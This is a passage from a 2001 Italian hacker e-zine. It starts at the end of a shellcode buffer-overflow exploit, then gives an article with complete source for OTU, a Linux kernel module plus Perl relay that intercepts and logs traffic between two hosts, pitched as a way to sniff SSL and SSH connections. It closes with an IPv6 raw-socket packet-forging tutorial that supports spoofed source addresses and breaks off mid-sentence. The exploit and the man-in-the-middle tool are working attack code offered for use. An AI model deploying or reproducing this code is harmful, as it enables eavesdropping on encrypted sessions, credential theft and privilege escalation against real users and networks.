memcpy(buff+i,shellcode,sizeof(shellcode)-1); memcpy(buff+1000,&mc,sizeof(mc)); buff[1000+sizeof(mc)]=0; ex[0]="./vuln1"; ex[1]=buff; ex[2]=NULL; execv(ex[0],ex); } <-X-> Oky.. direi ke e' tutto :) Mandate pure commenti,domane, insulti.. foto di vostra sorella a cyrax@pkcrew.org (E ricordatevi di checkare www.pkcrew.org di tanto in tanto :PP) ============================================================================== --------------------------------[ EOF 10/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-110100644000175000017500000003612507355704712012637 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 11 di 18 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ 0TU: SiSTEMA EV0LUT0 Di MiTM -----[ vecna 526.vecna :~/wrk/my/otu$ cat README.it ------ OTU ----- ---------- concetto evoluto di man in the middle vecna@s0ftpj.org ---------- http://www.s0ftpj.org ------ 9/7/2001 il nome intero sarebbe: icarofsmitmawkh, che significa: "Idea Code And Readme For Simple Main In The Middle Attack With Kernel Hack", sottotitolo: "come far un SSL sniffer con meno di 200 linee di codice" semplificato verra` chiamato: OTU, ottenuto da porcherie matematiche applicate al nome. 1 -] com'e` iniziata la sua esistenza come gia` risaputo dalla creazione dei protocolli, SSL e SSH si basano su un sistema di scambio di chiavi pubbliche che poi verranno utilizzate per decidere la chiave privata con la quale portare avanti la connessione. questo mette al riparo da tutti gli attacchi di sniffing passivo, ma non completamente da quegli attacchi detti di "man in the middle" che richiedono una partecipazione attiva (in termini di pacchetti) da parte del tizio curioso sulla rete. dsniff al suo tempo, implemento` un sistema di man in the middle necessario x sniffare SSH e SSL, ettercap pure. che succede quindi? mediante arp hijacking ci si mette al posto dell'host che instaura la comunicazione e si "proxa" la connessione, ovvero, la roba che e` destinata all'host della nostra subnet ce la prendiamo noi, noi instauriamo una connessione con l'altro peer spoofandoci per il tizio nella nostra lan (a cui stiamo fottendo i pacchetti) e con l'host sfigato della subnet facciamo partire una connessione ssh tra noi e lui, ma spoofando i nostri pkt in modo che sembrino provenienti dal peer remoto. nella fattispecie ettercap e` un po' + fine di dsniff almeno x quanto riguarda SSH xke` anziche` proxare tutta la comunicazione si intromette solo quando c'e` lo scambio di chiavi pubbliche e private, dopodiche` continua come spettatore e basta. qual'e` il problema e il limite di questi 2 strumenti? c'e` da programmare troppo, bisogna praticamente ricostruire tutto da layer 2 a layer 4 o +, quando invece abbiamo dei software belli, ma proprio belli che farebbero proprio al caso nostro per quanto sono fighi, solo che si appoggiano al kernel e a un sistema di comunicazione standard. sto parlando di sshd stunnel apache sendmail telnetd e tutta 'sta caterva di demoni bucati o no che rendono + felice la vita di ogni amministratore di sistema. quindi vista la mia totale dedizione verso la programmazione kernel ho partorito dopo una gestazione di kernel panic un modulo che si preoccupi di intercettare certi pacchetti entranti in modo da riferirli a socket locali, interfacciabili ai software che gia` abbiamo. logicamente i pacchetti entranti che ci interesseranno non saranno i nostri :) tra l'altro questo approcio di mitm non implica l'ausilio di un particolare sistema di dirottamento che ci renda "terzi incomodi", OGNI punto di una trasmissione puo` essere un appoggio utilizzabile per un dirottamento, precisamente: - in LAN, con arp hijacking e` possibile intrometterci, sia in una rete gestita da un hub sia in una gestita da uno switch (non in tutti tutti i casi), sostanzialmente con le solite tecniche, utilizzabili mediante un packet forger che supporti l'arp e sia abbastanza completo, il tutto controllato da uno scriptino. - sul GW, semplicemente caricando il modulo, visto che di suo i pacchetti altrui ci passano attraverso - su un router intermedio, viste le tecniche di dirottamento mediante tunnel GRE o altri tunnel e` possibile dirottare certi flussi di dati verso un altro host (noi), fargli far mitm e far tornar la roba verso il leggitimo destinatario. per completare questo attacco sara` necessario prevedere il modulo in modo che se riceva pacchetti incapsulati li decapsuli e poi li ripassi alla funzione di controllo, e nel caso i pacchetti in uscita siano quelli da riencapsulare, lo faccia. e` sostanzialmente semplice, per maggiori informazioni ci si puo riferire alla kernel api guide sezione networking e al codice di ipip e gre. - mi sembra scontato, ma vabe`: sull'host che stiamo attaccando (se ci si pensa per 3 secondi ci si accorge che sniffare qui xo` e` inutile, a parita` di condizioni si puo far di +, in particolare mediante tty sniffing, tty hijacking o in situazioni di port forwarding mediante local socket sniffing in kernel space). (local socket sniffing non e` una cosa conosciuta, ma e` intuitivamente comprensibile che si possa sniffare in una situazione del genere il traffico controllando le chiamate bind() listen() accept() per individuare i socket del demone interessato, a quel punto ci si trova davanti a una normale situazione di file descriptor hijacking descritta in un numero di phrack (con implementazione completamente diversa xo`) questo riguarda sia protocolli in chiaro che crittati (xke` una volta individuato il socket basta risalire al processo e al fd di quel processo e leggere STD*_FILENO). 2 -] funzionamento spicciolo il modulo funziona monitorando 2 host e diventando un mitm per ogni connessione che c'e` tra i 2 host; per far un attacco mirato ad un solo servizio basta aggiungere un controllo tra i pacchetti selezionati in modo che venga controllato il numero di porta sorgente/destinazione. normalmente per il kernel 2.4 mi sono trovato a lavorare con gli hook di netfilter, ed e` una cosa molto molto comoda nella maggioranza dei casi, ma non in questa. per accedere a un layer cosi` basso per poter manipolare pacchetti in entrata e in uscita, potendo ancora cambiare la loro destinazione (con NF non sarebbe potuto andare xke` in alcuni casi i pkt che andrebbero nell'hook di forward o trattati come PACKET_OTHERHOST cmq, non possono essere riindirizzati con quelli del local input), ho utilizzato il vecchio sistema del 2.2 della packet_type e dell'aggiunta di una funzione. che succede allora, scenario: A <--------->\ /<---------> B | | | | \- C -/ quando becchiamo un pacchetto che da A va a B lo rendiamo con destinazione C, cosi` facendo viene accettato ai layer superiori, vien poi generata una risposta da C a A, ma questa risposta dovrebbe provenire da B, quindi quando si vede un pkt con sorgente C e destinazione A o B si cambia il sorgente con quello che non e` la destinazione (tra A e B), quando si vede un pacchetto con sorgente o A o B si cambia la destinazione con C. umh ... chi..chi... chiaro :) ? ai layer superiori sta` un datapipe apposta, in modo trasparente noi siamo in mezzo a 2 comunicazioni con un modulo da 150 linee circa e un sistema in userspace dalle 20 alle 100 linee a seconda del linguaggio usato... <-| otu/otu.c |-> /* * vecna@s0ftpj.org - http://www.s0ftpj.org * OTU - advanced tool for man in the middle, for more info read README * file from our site under tools page * * 9/31 7/12 2001/infinite * */ #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #include #include #include #include #include #include static void tcpudp_csum(struct sk_buff *, unsigned int, unsigned int ); static unsigned int inet_addr(char *); static struct packet_type lrd; static char *host1, *host2, *mitm; static unsigned int p1, p2, local_addr; MODULE_PARM(host1, "s"); MODULE_PARM(host2, "s"); MODULE_PARM(mitm, "s"); /* -- * * packets with source 2|1 and dest 1|2 change dest with MITM. * packets with source MITM and dest 1|2 change source with opposite of dest * -- * * on this module coded for 2.4 kernel I use struct packet_type.func injecton * than hook options feature of netfilter, this because with one function I * can read any packet at datalink layer ad check PACKET_OTHERHOST and * PACKET_HOST and PACKET_OUTGOING more easy. * this is less performantic but can't to be a big problem :P * -- */ static int redir(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { unsigned int osaddr =skb->nh.iph->saddr; unsigned int odaddr =skb->nh.iph->daddr; unsigned int *src_ip =&skb->nh.iph->saddr; unsigned int *dst_ip =&skb->nh.iph->daddr; if(skb->nh.iph->protocol !=IPPROTO_TCP) goto end; if(*src_ip ==local_addr && (*dst_ip ==p2 || *dst_ip ==p1)) { *src_ip =(*dst_ip ==p2) ? p1 : p2; goto checksum; } if((*src_ip ==p1 && *dst_ip ==p2) || (*dst_ip ==p1 && *src_ip ==p2)) *dst_ip =local_addr; checksum: skb->nh.iph->check =0x0000; ip_send_check(skb->nh.iph); tcpudp_csum(skb, osaddr, odaddr); end: kfree_skb(skb); return(0); } void tcpudp_csum(struct sk_buff *x, unsigned int osaddr, unsigned int odaddr) { struct iphdr *iph =x->nh.iph; unsigned short check =0x0000; unsigned short *cksum; cksum =(unsigned short *)&((struct tcphdr *) (((char *)iph) +(iph->ihl<<2)))->check; check =csum_tcpudp_magic(iph->saddr, iph->daddr, 0, IPPROTO_TCP, ~(*cksum)); *cksum =csum_tcpudp_magic(~osaddr, ~odaddr, 0, 0, ~check); *cksum +=htons(IPPROTO_TCP); } init_module(void) { /* setting hook struct */ if((host1 ==NULL && host2 ==NULL) || mitm ==NULL) { printk(KERN_ERR "insmod lshjk.o host1=foo.com host2=wow2.net" " mitm=myip.it\n"); return -EDESTADDRREQ; } p1 =(host1 !=NULL) ? inet_addr(host1) : 0; p2 =(host2 !=NULL) ? inet_addr(host2) : 0; local_addr =inet_addr(mitm); lrd.type =htons(ETH_P_ALL); lrd.func =redir; lrd.dev =NULL; dev_add_pack(&lrd); printk(KERN_INFO "otu - vecna@s0ftpj.org\n"); return 0; } void cleanup_module(void) { dev_remove_pack(&lrd); printk(KERN_INFO "otu unloaded\n"); } unsigned int inet_addr(char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i =0; i < 4; i++) { l <<= 8; if(*str !='\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } <-X-> 3 -] nota sui protocolli sicuri SSH, SSL, SRP han gia` previsto questa evenienza: i sistemi seri con admin un pochino furbi se vedranno che misteriosamente il server gli offre una chiave diversa difficilmente accetteranno, magari vedendo il banner "possibile dns spoofing" proveranno a inserire l'ip numerico della loro macchina... ma senza accettare la key offerta credo. la stessa cosa vale per ogni certificato SSL gia` presente sulle macchine, se un utente li controlla non ci sono speranze, senza contare la verifica che puo essere portata ai certificati x.509 mediante verysign. non significa che e` inutile contro SSL, anzi, tutte le connessioni che avvengono x la prima volta si prendono il nostro certificato, visto che si e` mitm si potrebbe anche cambiare il web annunciando che i certificati sono cambiati e blablabla... (questo almeno x https) per quanto riguarda SRP o altri possibili sistemi di autenticazione... finche` non verra` implementato un sistema di autenticazione a livello di rete, come ipsec (anche se si puo fare molto di meglio :) non c'e` sistema di scambio di chiavi che tenga, e` una questione di layer. 4 -] 2 paroline su mitm.pl l'autrice di questo programma non sono io, ma ya. il suo sito e` http://yawna.free.fr, usate il suo client irc in perl/tk yairc :) (fine spot - te lo dovevo) uso: <./mitm "un netcat" "un altro netcat">, uno in listening sul servizio che mitmiddoliamo e l'altro verso il servizio vero, se non con netcat con stunnel, o con nc + stunnel, o con un server o con un client fatto da voi, e` un datapipe e nulla +, legge l'output da un processo e lo mette nell'altro, bidirezionalmente. tutti i dati che passano vengono loggati in append in log.txt <-| otu/mitm.pl |-> #!/usr/bin/perl -w use strict; use FileHandle; use IPC::Open2; use IO::Select; use Symbol; $SIG{PIPE} = "IGNORE"; my($arg1,$arg2) = @ARGV; my($r1,$w1,$r2,$w2) = (gensym,gensym,gensym,gensym); my $pid1 = open2($r1, $w1, $arg1 ); my $pid2 = open2($r2, $w2, $arg2 ); my $old=select($w1); $|=1; select($w2); $|=1; select($old); open(LOG,">>log.txt") || die("open: $!"); $old=select(LOG); $|=1; select($old); my $s = IO::Select->new(); $s->add($r1); $s->add($r2); my %map = ( $r1 => $w2, $r2 => $w1 ); while(1) { while(my @ready = $s->can_read) { for my $f (@ready) { ready($f); } } die "select: $!" if $!; } sub ready { my ($pipe,$len) = shift; print "pipe: ",fileno($pipe); check( $pipe, $len = sysread($pipe,my $data,1024) ); if($len) { print LOG $data; my $peer = $map{$pipe}; check( $peer, $len = syswrite($peer,$data) ); } } sub check { my $p = shift; my $len = shift; if(!defined $len) { print "error"; $s->remove($p); close($p); } elsif($len==0) { print "eof"; $s->remove($p); close($p); } } <-X-> 5 -] Start -> Programmi -> Utilita` di sistema questo sw avrei voluto pubblicarlo come un tools abbastanza pericoloso con tanto di spiegazioni su come far le dirottazioni, esempi d'utilizzo, sistema di pipe interfacciato a stunnel. quando l'ho iniziato a programmare ero decisamente incazzato, speravo di finir sto sw in pochi giorni e poi pubblicarlo su ogni posto pur di garantire una breve diffusione e un assalto all'ssl. un barlume di buon senso, un po' di non voglia di menarsela con i certificati di stunnel e un suggerimento adeguato (quello che non e` troppo intelligente sottostare a una ghiandola quale l'ipotalamo :) e ho lasciato perdere. d'altro canto, i sentimenti sono come una connessione TCP, anche loro mutano di stato. sorvolando tutte le specifiche RFC blabla xke` tanto non le ho lette, http://members.nbci.com/_XMCM/faenzi/tesi/html/il_protocollo_ssl.htm http://netfilter.samba.org http://www.s0ftpj.org mio precedente progetto "drang" da cui mi sono rippato le routine di checksum che per far correttamente ho impiegato almeno 5 giorni - cazzo - e tutto x un +=htons(IPPROTO_TCP) ... TMC2 EXCEL SAGA, martedi` 21:30, questo si che e` un sorgente di entropia :) da utilizzare con "Connemara", Magenta (MI), martedi` birra meta` prezzo. questo sw e` distribuito sotto licenza GPL2 + una piccola restrizione, ovvero se questo codice o i riferimenti sopra indicati vi saranno in qualche modo utili il vostro kernel cerebrale si sentira` in dovere di offrirmi una birra, poi sta a voi ignorarlo o no, ma questa e` la licenza e ogni derivato da questo software propaghera` questo dettaglio finalizzato a incrementare l'alcool tra i coders. <-| otu/Makefile |-> all: otu.o otu.o: otu.c gcc -c -O6 -fomit-frame-pointer otu.c -I/usr/src/linux/include clean: rm -rf otu.o <-X-> ============================================================================== --------------------------------[ EOF 11/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-120100644000175000017500000005272207355704712012641 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 12 di 18 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ IPv6 PACKET F0RGiNG -----[ Kundera - http://dskull.tzone.it Consumo : 1 bottiglione di Pepsi da 1,5l - 1 pacchetto di Chesterfield comprato ieri Musica : Steve Ray Vaughan & Double Trouble "Live Alive" . ---[--------------------------------------------------------------------------- ---[Ipv6 packet forging - by Kundera ]--- Ok ragazzi, siamo nel 2001, le risorse ipv4 stanno piano piano esaurendosi (sara' vero?) e anche io mi sto un po' esaurendo a vedere sempre il solito header ip :-). Con il buon vecchio ipv4 ne abbiamo fatte di tutti i colori, ma fra un po' (non so quando) si cambia solfa! arriva l'ipv6! e' quindi bene iniziare a saperne qualcosa... Vediamo un po' come e' fatto e sopratutto come possiamo fabbricare in casa i nostri bei pacchettini da spedire nella rete. Ipv6 e' sostanzialmente diverso dal suo predecessore e la caratteristica fondamentale (a mio avviso) e' sicuramente la "modularita'" del protocollo che dopo l'header di base, necessario per il routing, puo' avere altri headers (in un determinato ordine uno dopo l'altro) che offrono le stesse funzionalita' di ipv4 (infatti alcuni headers incorporano le stesse opzioni di ipv4) piu' altre nuove interessanti opzioni, questi sono detti "Extension Headers". Ma iniziamo dal principio e vediamo (prima di forgiarlo) come e' fatto esattamente l'header base di ipv6 prendendo come riferimento l'RFC 1883 : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Prio. | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Version = La versione e' un campo a 4 bit e a meno che non vogliamo suscitare strane reazioni nello stack ricevente direi che e' meglio settarlo a 6 :) Prio. = Priority, altro campo a 4 bit che ha praticamente la stessa funzione del campo TOS di ipv4. Il kernel o l'applicazione (mediante chiamata setsockopt()) setta un valore in base al tipo di servizio che contiene il pacchetto e di conseguenza la precedenza che deve avere nelle operazioni di routing. Ecco i valori concordati nell'RFC : 0 - uncharacterized traffic 1 - "filler" traffic (e.g., netnews) 2 - unattended data transfer (e.g., email) 3 - (reserved) 4 - attended bulk transfer (e.g., FTP, NFS) 5 - (reserved) 6 - interactive traffic (e.g., telnet, X) 7 - internet control traffic (e.g., routing protocols, SNMP) C'e' pero' da fare una precisazione, l'RFC 1883 e' datata Dicembre 1995 e nel 1997 durante l'IPng Meeting di Monaco e' stato deciso di portare questo campo a 1 byte, generando la nuova RFC ufficiale di ipv6, la numero 2460. Flow Label = Questo campo a 24 bit e' molto interessante ed offre una funzione nuova rispetto a ipv4 : il flusso della comunicazione. Un "flusso" e' identificato unicamente come la coppia "indirizzo sorgente" e valore del campo "flow label" compreso tra 1 e 0xFFFFFF scelto in modo random dalla macchina che genera il pacchetto; valore che dovrebbe mantenere fino alla fine della sessione per assicurarsi un certo "tempo di commutazione" nei nodi ipv6 attraversati. Infatti i router intermedi che processano il pacchetto possono tenersi (se abilitato) una cache dei flussi per evitare di andare ogni volta a rianalizzare l'intero header ipv6 + gli eventuali extension headers. E' chiaro che se il nuovo pacchetto che arriva ha lo stesso flow label del precedente dovra' essere trattato nello stesso modo perche' avra' molto probabilmente lo stesso set e valori di headers. Questa cache deve essere pero' di norma aggiornata ogni 6 secondi. Se un nodo sorgente non intende avvalersi del flusso settera' questo campo a 0. Con la nuova RFC 2460 questo campo e' passato di conseguenza a 20 bit, ma la sua funzionalita' resta invariata. Il flow label sara' quindi compreso tra 1 0x0FFFFF . Payload Length = Campo di 2 byte che indica la lunghezza in ottetti del pacchetto escluso l'header ipv6 base. La lunghezza massima del payload e' naturalmente 65535 byte ma con ipv6 sono ammessi payload anche piu' lunghi (detti "Jumbo payloads"), ma per questo ci vuole l'"Hop-by-Hop" extension header, in questo caso il valore di payload length e' zero. E' considerato come appartenente al payload tutto quello che segue l'header base, inclusi gli extension headers. Qui si puo' notare la differenza dallo stesso campo di ipv4 che includeva anche la lunghezza dell'header a causa delle opzioni, l'header base ipv6 invece ha sempre la stessa lunghezza. Next Header = Questo campo a 1 byte e' praticamente come il campo protocol type di ipv4 dato che utilizza gli stessi valori (vedi /etc/protocols). Identifica l'header immediatamente seguente l'header ipv6. Hop Limit = Campo di 1 byte che ha la stessa funzione del campo TTL di ipv4. Ogni volta che il pacchetto attraversa un nodo ipv6 il valora viene decrementato di 1. Se il valore raggiunge zero viene generato un messaggio di "hop limit exceeded in transit" di Icmpv6. Source & destination address = Il famoso campo a 128 bit che identifica indirizzo sorgente e destinazione del pacchetto. La struttura di un indirizzo ipv6 e' abbastanza complicata e questi indirizzi si possono dividere in diverse tipologie, e' questo un argomento che meriterebbe un articolo a parte, ma la mancata trattazione nei paragrafi successivi non toglie nulla allo scopo finale. Noi considereremo l'indirizzo come una normale sequenza di 16 byte. Considerando la nuova RFC 2460 il pacchetto che andremo a costruire sara' cosi' strutturato: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label (20 bit) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Dopo aver fatto conoscienza con quello che dobbiamo costruire vediamo in dettaglio in che modo si possono manipolare questi pacchetti su Linux. Quello che ci serve e' un kernel dal 2.2 in su con il supporto ipv6 abilitato (ricompilate se necessario) e tutti gli headers del kernel installati (directory /usr/src/linux/include). Io pero' 'ste cose le ho fatte con il 2.4.0, quindi se volete essere sicuri fatelo con un kernel recente dalla 2.4.0 in su. Ok, partiamo con il codice: <-| /k6/k6pktb.c |-> /* Kundera ipv6 base-header packet-builder with raw sockets. */ /* tested on Linux 2.4.0 i386*/ #include #include #include #include #include #include #include #include #include #include #include #include #define PACKLENGTH 1480 /* Definiamo i soliti include con in piu' i 2 base di ipv6 e andiamo a vedere come e` definito l'header in ipv6.h: * * IPv6 fixed header * * BEWARE, it is incorrect. The first 4 bits of flow_lbl * are glued to priority now, forming "class". * struct ipv6hdr { #if defined(__LITTLE_ENDIAN_BITFIELD) __u8 priority:4, version:4; #elif defined(__BIG_ENDIAN_BITFIELD) __u8 version:4, priority:4; #else #error "Please fix " #endif __u8 flow_lbl[3]; __u16 payload_len; __u8 nexthdr; __u8 hop_limit; struct in6_addr saddr; struct in6_addr daddr; }; Vediamo che il campo "flow label" e` un array di 8 byte di nome flow_lbl (quindi 24 bit) conforme con l'RFC vecchia. Anche con l'ultimo kernel 2.4.7 rimane definito in questo modo, ma non e` comunque un problema, dopo vedremo che con qualche trucchetto costruiremo un pacchetto conforme alla nuova RFC 2460 utilizzando questa "vecchia" struttura. */ int sok,error,i,ver=6,p_number=10; __u32 flow=0x000000; int hoplimit=200,nexth=59,class=0; char *device; struct ifreq interface; struct sockaddr_in6 destipv6; struct sockaddr_in6 sourceipv6; /* Definiamo le due strutture che conterranno l'indirizzo sorgente e quello destinazione (sourceipv6,destipv6), ma che contengono altri campi che pero` non servono con i raw sockets. */ char *source=NULL,c; char *destination=NULL; struct ipv6hdr *IPV6TURBO; /* Definiamo un puntatore alla struttura dell'header ipv6 che chiameremo IPV6TURBO (sei cilindri turbo :) ) */ char packet[PACKLENGTH],*data; /* Definiamo un buffer di 1480 byte (MTU del tunnel ipv4-ipv6) che prendera` poi forma come pacchetto ipv6. Se cerchiamo di spedire un pacchetto piu` grosso con il raw socket il kernel NON gestiraa` la frammentazione non inserendo l'extension header per la frammentazione e ci dara` un errore alla sendto() . Se l'MTU dell'interfaccia e` diversa si puo' cambiare il valore di PACKLENGTH. */ void usage (void) { printf("Kundera IPv6 packet-builder.\n"); printf("usage : -I -v -c -f "\ " -n -h -s "\ " -d -p \n"); } /*---------------------------------------------------------------------------*/ int main(int argc,char **argv){ if (argc < 4){ usage(); exit(1); } while((c=getopt(argc,argv,"v:f:h:s:n:c:d:I:p:"))!=EOF){ switch(c) { case 'h': hoplimit=atoi(optarg); break; case 'v': ver=atoi(optarg);break; case 'f' : sscanf(optarg, "%x", &flow);break; case 's': source=optarg; break; case 'n': nexth=atoi(optarg); break; case 'c': class=atoi(optarg);break; case 'd': destination=optarg; break; case 'I': device=optarg; case 'p': p_number=atoi(optarg); break; case '?': default: usage();break; } } if ( (sok=socket(AF_INET6,SOCK_RAW,255)) < 0) { printf("Errore nella creazione del socket.\n"); exit(EXIT_FAILURE); } memset(packet,0,sizeof(packet)); memset(&interface, 0, sizeof(interface)); printf("Sending %d packets with interface : %s\n",p_number,device); strncpy(interface.ifr_name, device, IFNAMSIZ-1); if (error=setsockopt(sok, SOL_SOCKET , SO_BINDTODEVICE, &interface, sizeof(interface)) <0 ) { perror("Errore nelle opzioni del socket.\n"); exit(EXIT_FAILURE); } /* Definiamo un'opzione a livello socket (SOL_SOCKET) in modo tale da scegliere l'interfaccia sulla quale inoltrare i pacchetti, oltre all'ethernet potremo spedire ipv6 su un'interfaccia tunnel ipv4-ipv6 (su Linux interfaccia sit). */ /* Creiamo il raw socket: come "domain" un bel AF_INET6, come tipo SOCK_RAW e naturalmente come protocol 255 cioe` "raw ip interface" (vedi /etc/protocols) pero` di tipo 6 . */ memset(packet,0,sizeof(packet)); IPV6TURBO = (struct ipv6hdr *)packet; /* Sovrapponiamo il nostro puntatore al buffer, tranquillamente come nei raw sockets di ipv4. */ data=(char *)(packet+sizeof(struct ipv6hdr)); strcpy(data,"Questo che leggete qui e' il payload del pacchetto ipv6 :)"); /*Ci spostiamo e inseriamo qualcosina nel payload :) */ destipv6.sin6_family=AF_INET6; /* Mettiamo nella struttura che passeremo al socket il tipo di domain anche se non sarebbe necessario perche` il pacchetto lo costruiamo interamente noi. */ error=inet_pton(AF_INET6, source, &sourceipv6.sin6_addr); error=inet_pton(AF_INET6, destination, &destipv6.sin6_addr); /* Utilizziamo questa nuova e utilissima funzione "inet_pton()"per trasformare da stringa a formato numerico gli indirizzi a 128 bit che l'utente ci puo` fornire anche in formato "ridotto" (ad esempio ff:fa::bb), ci pensera` la funzione a mettere gli zeri e a girare l'indirizzo in network byte order. */ IPV6TURBO->version = ver; IPV6TURBO->priority = class>>4; /* Assegnamo la versione (direi la 6 :) ) e i primi 4 bit del parametro class che andranno a finire nel "vecchio" campo priority (che e' di 4 bit). I restanti 4 bit li metteremo dopo nei primi 4 di flow_lbl[0] . I 2 half-byte incollati vanno a formare il nuovo parametro "class". */ IPV6TURBO->flow_lbl[0] = ((class&0x0F)<<4)|(flow>>16); /* Ricaviamo gli ultimi 4 bit di class con una maschera 0x0F, li spostiamo nella parte sinistra del byte (con <<4) e facciamo un OR con i primi 4 bit da sinistra del parametro flow fornito dall'utente. Per ricavare i primi 4 ci basta "spostare fuori" gli altri di 16 perche` l'utente ci fornira` al massimo un valore 0x0FFFFF cioe` 20 bit. */ IPV6TURBO->flow_lbl[1] = ((flow&0xFFFF)>>8); IPV6TURBO->flow_lbl[2] = ((flow&0xFF)); /* Ricaviamo con le stesse operazioni il byte centrale e l'ultimo di flow inserendoli nel pacchetto che stiamo preparando. Questi "4 byte e mezzo" non devono essere in network byte order perche` i primi 4 bit devono essere incollati a priority per formare il class parameter. In pratica alla fine delle operazioni avremo: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ flow |0000 0000 |0000 1111 | xxxx xxxx | xxxx xxxx | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | +-+-+-+-+-+ | class |1010 0011| | +-+-+-+-+-+ | | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ... packet | ver |1010|0011 1111 | xxxx xxxx | xxxx xxxx | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ... prio flow_lbl[0] flow_lbl[1] flow_lbl[2] */ IPV6TURBO->payload_len = htons(PACKLENGTH-40); /* inseriamo la lunghezza del payload (in byte) che sara` la lunghezza totale del pacchetto meno la lunghezza dell'header ipv6 che e` SEMPRE di 40 byte, ecco perche` non c'e` il campo "header length" che in ipv4 c'era. */ IPV6TURBO->nexthdr = nexth; /* settiamo il campo "next header" che se non e` specificato come parametro contiene "no next header" cioe` 59 */ IPV6TURBO->hop_limit = hoplimit; IPV6TURBO->saddr=sourceipv6.sin6_addr; IPV6TURBO->daddr=destipv6.sin6_addr; /* infine settiamo "hop limit" e l'indirizzo sorgente e destinazione prendendoli dalle 2 strutture che abbiamo utilizzato. */ i=0; while (i Ma cosa succede quando tentiamo di spedire un pacchetto ad un indirizzo ipv6? Prendiamo ad esempio la configurazione piu' semplice possibile e cioe' una rete ethernet con 2 nodi ipv6 con indirizzi "link local" cioe' quella tipologia di indirizzi ad uso interno che i router NON instradano e che ci troviamo di default impostato sull'interfaccia appena facciamo partire il nostro nuovo kernel "dual-stack" ipv4-ipv6 nuovo di pacca. Questi indirizzi sono "plug and play" e comprendono nei 16 byte anche il MAC address. Infatti se spostiamo su un'altra rete la nostra macchina accendendola sara' gia' in grado di comunicare con gli altri indirizzi "link local" della nuova rete senza nessuna modifica. Proviamo ad esempio a mandare un pacchetto forgiato da indirizzo sorgente "aa:bb:cc::dd" all'indirizzo di destinazione link-local "fe80::260:97ff:fe4a:c4c8" (notate il MAC address 00:60:97:4A:C4:C8 all'interno dell'indirizzo). Arrivato alla sendto() il kernel verifica la tabella di routing ipv6 per trovare la destinazione (verificatela con "netstat -A inet6 -r") e dato che e' un link local non c'e' un "next hop" per raggiungerlo (un router in pratica); a questo punto verifica se in cache c'e' la coppia "indirizzo fisico - address ipv6" e se non c'e' non utilizza piu' il solito ARP, ma il nuovo "Neighbor Discovery Protocol" che e' una funzione dell'ICMPv6. Per scoprire l'indirizzo fisico della destinazione il nodo lancia un pacchetto multicast ipv6 di tipo "solicited-node" che nel nostro caso sara' "ff02::1:ff4a:c4c8" in un pacchetto Ethernet anch'esso di destinazione multicast di tipo "33:33:ff:4a:c4:c8" (e non piu' broadcast come ARP). Notate il multicast ipv6 che contiene gli ultimi 24 bit dell'indirizzo richiesto "4a:c4c8" e il multicast Ethernet formato da un prefisso 33:33 piu' gli ultimi 4 byte del multicast ipv6. Il pacchetto in questione contiene un ICMPv6 di tipo "Neighbor solicitation" che richiede al possessore dell'indirizzo di annunciare il suo MAC address o nella terminologia ICMPv6 "link-layer address". La destinazione ricevuto il multicast risponde con un ICMPv6 "Neighbor advertisement" con un unicast al nodo richiedente comunicandogli il link-layer address. A questo punto la sorgente manda i pacchetti alla destinazione. La destinazione infine manda direttamente un "Neighbor solicitation" alla sorgente che gli risponde con un "Neighbor advertisement" dicendogli che il suo MAC address non e' cambiato nel frattempo infatti il flag "override" non e' settato altrimenti aggiornerebbe di nuovo la cache. Ma qualcuno di voi si stara' giustamente chiedendo: ma che cazzo serve il codice appena scritto? a niente :) ma e' il primo passo verso un tool di packet forging ipv6 il piu' possibile completo. Tenendo buono questo possiamo scrivere altre funzioni per creare tutti gli extension headers e pacchetti ICMPv6. E' un lavoro lungo, ma interessante per capire a fondo le possibilita' di questa nuova suite. Questa e' stata una breve, ma spero interessante introduzione... e allora a risentirci al prossimo articolo con una parte degli "Extension Headers"! A tutti gli interessati dell'implementazione di ipv6 su Linux consiglio il sito dell' Howto ufficiale: 